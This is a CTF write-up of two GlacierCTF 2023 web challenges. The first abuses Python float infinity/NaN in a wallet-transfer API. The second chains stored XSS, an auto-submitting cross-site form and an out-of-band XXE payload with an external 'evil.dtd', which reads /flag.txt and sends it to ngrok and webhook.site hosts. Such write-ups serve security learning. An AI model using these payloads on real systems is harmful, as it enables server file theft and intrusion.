GlacierCTF 2023
Welcome to another CTF writeup. This time I played GlacierCTF 2023, and I focused on the Web challenges. We participate as ISwearGoogledIt with RazviOverflow, Bubu and liti0s. Let’s dive into the challenges!
Challenge index:
Web
Web
Glacier Exchange
50 We have launched a new revolutionary exchange tool, allowing you to trade on the market and hanging out with your rich friends in the Glacier Club. Only Billionaires can get in though. Can you help me hang out with lEon sMuk?
authors: hweissi & xsskevin
https://glacierexchange.web.glacierctf.com
Source code was provided for this challenge.
The website is a simulator of an exchange site, where we start with 1000 cashout.
The objective, as seen in the code, was to obtain 1000000000 cashout coins:
# server.py
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
wallet = get_wallet_from_session()
clubToken = False
inClub = wallet.inGlacierClub()
if inClub:
f = open("/flag.txt")
clubToken = f.read()
f.close()
return {
"inClub": inClub,
"clubToken": clubToken
}
# wallet.py
def inGlacierClub(self):
with self.lock:
for balance_name in self.balances:
if balance_name == "cashout":
if self.balances[balance_name] < 1000000000:
return False
else:
if self.balances[balance_name] != 0.0:
return False
return True
To do so, we have some API calls to exchange coins between each other, the point here is that the exchange is 1:1:
# server.py
@app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
payload = request.json
status = 0
if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
wallet = get_wallet_from_session()
status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"]))
return jsonify({
"result": status
})
# wallet.py
import threading
class Wallet():
def __init__(self) -> None:
self.balances = {
"cashout": 1000,
"glaciercoin": 0,
"ascoin": 0,
"doge": 0,
"gamestock": 0,
"ycmi": 0,
"smtl": 0
}
self.lock = threading.Lock();
def getBalances(self):
return self.balances
def transaction(self, source, dest, amount):
if source in self.balances and dest in self.balances:
with self.lock:
if self.balances[source] >= amount:
self.balances[source] -= amount
self.balances[dest] += amount
return 1
return 0
def inGlacierClub(self):
with self.lock:
for balance_name in self.balances:
if balance_name == "cashout":
if self.balances[balance_name] < 1000000000:
return False
else:
if self.balances[balance_name] != 0.0:
return False
return True
The trick here is how the balance exchange is done:
- We have the threading.lock() so we can forget about any race conditions to overcome this problem.
- The balance input is casted into float float(payload[“balance”])
- We can exchange a coin to the same coin
We can play with float overflow in this case, the sequence to exploit will be as follows:
# First bustract -inf to get infinite money
1000 - float('-inf') = inf
# Then, since we use the same coin and balance, we will get NaN
inf + float('-inf') = NaN
# NaN is greater than the target value
NaN > 1000000000
So, we make a transaction with the cashout coin to the cashout coin with -inf:
And we can see the NaN on the cashout balance:
Then, we can call the API to get the flag within the Glacier Club:
gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}
Peak
227 Within the heart of Austria’s alpine mystery lies your next conquest. Ascend the highest peak, shrouded in whispers of past explorers, to uncover the flag.txt awaiting atop. Beware the silent guards that stand sentinel along the treacherous path, obstructing your ascent.
author: Chr0x6eOs
https://peak.web.glacierctf.com
Source code was provided for this challenge.
We land into an static website with information. With a quick look, we locate the conteact form. To submit, we need to be registered, so we did.
We started by checking the source code. Some parts catched our attention:
- Admin visits out message using Selenium Webdriver with chrome @ /admin/support.php
- XSS on the message sent to the admin @ /pages/view_message.php
- An XML External Entity injection vulnerability @ /admin/map.php
- Flag on /flag.txt
These are the pieces of code affected by aforementiones vulnerabilities:
# XXE on /admin/map.php
# - snip - #
function parseXML($xmlData){
try
{
libxml_disable_entity_loader(false); # Allows to load external entities
$xml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT); # Allows subtitution of entities
return $xml;
}
catch(Exception $ex)
{
return false;
}
return true;
}
# - snip - #
# XSS on /pages/view_message.php
# - snip - #
<section id="message" class="py-5">
<div class="container mt-5">
<?php if (isset($message)): ?>
<h1><?php echo htmlentities($message['title']);?></h1>
<p><?php echo $message['content']; ?> # No filtering in the message content
<?php if($message['file'] !== "") : ?>
<div>
<img name="image" src="<?php echo $message['file']?>">
</div>
<?php endif;?>
<?php endif; ?></p>
</div>
</section>
# - snip - #
Bot visiting the messages:
# admin.py
...
def read_messages(self):
print(f'[{datetime.now()}] Checking messages...')
self.driver.get(f'{self.host}/admin/support.php')
if self.driver.current_url != f'{self.host}/admin/support.php':
raise Exception("Cannot access support.php! Session probably expired!")
links = [element.get_attribute('href') for element in self.driver.find_elements('name', 'inbox-header')]
if len(links) > 0:
for link in links:
if link:
try:
self.driver.get(link)
if self.driver.current_url == link:
print(f'[{datetime.now()}] Visiting: {self.driver.current_url}\r\n')
else:
print(f'[{datetime.now()}] After visiting {link}, got redirect to: {self.driver.current_url}\r\n')
except Exception as ex:
'''Timeout or other exception occurred on url.
'''
print(f'[{datetime.now()}] Error after visiting: {link} (Current URL: {self.driver.current_url}). Error: {ex}\r\n')
...
Bubu and I worked on this challenge together. The idea is get the admin to send a POST request to the map.php with our XXE payload to exfiltrate the flag. These were the steps:
1 - Create the redirection to our server with the POST payload and send it to the admin. For this we used ngrok to make localhost accessible from the internet. To make this redirection we used the following meta tag:
<meta http-equiv="refresh" content="0; url=https://3f56-92-56-131-173.ngrok-free.app/html.html">
2 - Create an HTML with an script to send the POST data to map.php, the value of the data field will be a XXE payload one-liner.
<html>
<form id="sad" action="https://peak.web.glacierctf.com/admin/map.php" method="POST"> <!-- We explain the XXE in the next step -->
<input type="text" name="data" value='<!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt"><!ENTITY % dtd SYSTEM "https://3f56-92-56-131-173.ngrok-free.app/evil.dtd"> %dtd; %send;]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>test</name></marker></markers>'/>
<input type="submit" value="save"/>
</form>
<script>
form = document.getElementById("sad")
form.submit();
</script>
</html>
3 - Create an XXE Out-of-band payload to exfiltrate the flag. For this, we used a payload that loads the external DTD from our server, then the DTD will exfiltrate the flag in base64 format. We called %send since it is the entity on our evil.dtd file:
<!-- Payload to send to the POST on map.php -->
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///flag.txt">
<!ENTITY % dtd SYSTEM
"https://3f56-92-56-131-173.ngrok-free.app/evil.dtd">
%dtd; %send;
]>
<markers>
<marker>
<lat>47.0748663672</lat>
<lon>12.695247219</lon>
<name>test</name>
</marker>
</markers>
<!-- Oneliner for map.php -->
<!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt"><!ENTITY % dtd SYSTEM "https://3f56-92-56-131-173.ngrok-free.app/evil.dtd"> %dtd; %send;]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>test</name></marker></markers>
4 - To exfiltrate the flag we used webhook.site, but we could also use the ngrok URL. The external DTD will use the %file entity from the XML payload, which will contain the flag encoded with base64 once loaded:
<!-- evil.dtd entity hosted on our server -->
<!ENTITY % all "<!ENTITY send SYSTEM 'https://webhook.site/9d1d47f3-4fe5-40fa-b395-0dc74273782c/?collect=%file;'>">
%all;
5 - Create the server and expose the port
# files created
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ ls
challenge.zip dist evil.dtd html.html test.dtd
# Serve the files and wait for requests
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
127.0.0.1 - - [25/Nov/2023 19:19:26] "GET /html.html HTTP/1.1" 200 -
127.0.0.1 - - [25/Nov/2023 19:19:27] "GET /evil.dtd HTTP/1.1" 200 -
# Use ngrok to expose localhost
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ ngrok http 8081
Web Interface http://127.0.0.1:4040
Forwarding https://3f56-92-56-131-173.ngrok-free.app -> http://localhost:8081
Connections ttl opn rt1 rt5 p50 p90
3 0 0.00 0.00 0.00 0.00
HTTP Requests
-------------
GET /evil.dtd 200 OK
GET /html.html 200 OK
GET / 200 OK
And we get the flag on the collect parameter as expected on webhook.site:
Request:
Flag:
gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}
This was short, I hope you liked it!